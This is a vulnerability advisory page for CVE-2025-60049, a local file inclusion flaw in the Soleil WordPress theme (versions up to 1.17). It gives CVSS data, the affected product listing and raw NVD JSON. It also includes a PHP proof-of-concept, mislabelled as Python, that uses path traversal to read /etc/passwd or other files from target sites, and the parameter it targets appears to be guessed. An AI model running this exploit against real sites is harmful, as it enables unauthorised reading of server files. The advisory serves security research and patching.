Security Vulnerability Report
中文
CVE-2025-60049 CVSS 8.1 HIGH

CVE-2025-60049

Published: 2025-12-18 08:16:04
Last Modified: 2026-04-27 16:16:30

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Soleil soleil allows PHP Local File Inclusion.This issue affects Soleil: from n/a through <= 1.17.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:soleil:*:*:*:*:*:wordpress:*:* - VULNERABLE
Soleil Theme <= 1.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-60049 PoC - WordPress Soleil Theme Local File Inclusion * Target: WordPress sites using Soleil theme <= 1.17 * * Usage: php poc.php <target_url> <file_to_read> * Example: php poc.php http://target.com /etc/passwd */ $target = $argv[1] ?? ''; $file = $argv[2] ?? '/etc/passwd'; if (empty($target)) { echo "Usage: php poc.php <target_url> <file_to_read>\n"; exit(1); } // Encode path traversal to include local files $payload = "..%2F..%2F..%2F..%2F..%2F..%2F" . urlencode($file); $url = $target . "/?" . http_build_query([ 'theme_page' => $payload ]); echo "[*] Target: $target\n"; echo "[*] Attempting to read: $file\n"; echo "[*] Request URL: $url\n"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $httpCode\n"; echo "\n=== Response ===\n"; echo $response; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60049", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:04.490", "lastModified": "2026-04-27T16:16:30.153", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Soleil soleil allows PHP Local File Inclusion.This issue affects Soleil: from n/a through <= 1.17."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:soleil:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.17", "matchCriteriaId": "BE150EBA-69FC-47AE-AECD-2C2B2964B08B"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/soleil/vulnerability/wordpress-soleil-theme-1-17-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}